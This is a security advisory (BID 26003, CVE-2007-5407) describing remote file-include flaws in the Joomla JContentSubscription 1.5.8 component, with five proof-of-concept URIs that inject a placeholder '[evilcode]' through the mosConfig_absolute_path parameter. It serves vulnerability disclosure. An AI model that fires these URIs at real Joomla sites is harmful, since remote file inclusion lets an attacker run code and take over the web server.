Joomla! JContentSubscription MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

BID:26003

Info

Joomla! JContentSubscription MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Bugtraq ID: 26003
Class: Input Validation Error
CVE: CVE-2007-5407
Remote: Yes
Local: No
Published: Oct 10 2007 12:00AM
Updated: May 07 2015 05:34PM
Credit: NoGe is credited with the discovery of these vulnerabilities.
Vulnerable: Joomla Equipment JContentSubscription 1.5.8
Not Vulnerable:

Discussion

Joomla! JContentSubscription MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

JContentSubscription is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying webserver; other attacks are also possible.

These issues affect JContentSubscription 1.5.8; other versions may also be vulnerable.

Exploit / POC

Joomla! JContentSubscription MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=[evilcode]
http://www.example.com/administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=[evilcode]
http://www.example.com/administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=[evilcode]
http://www.example.com/administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=[evilcode]
http://www.example.com/administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=[evilcode]

Solution / Fix

Joomla! JContentSubscription MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Joomla! JContentSubscription MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

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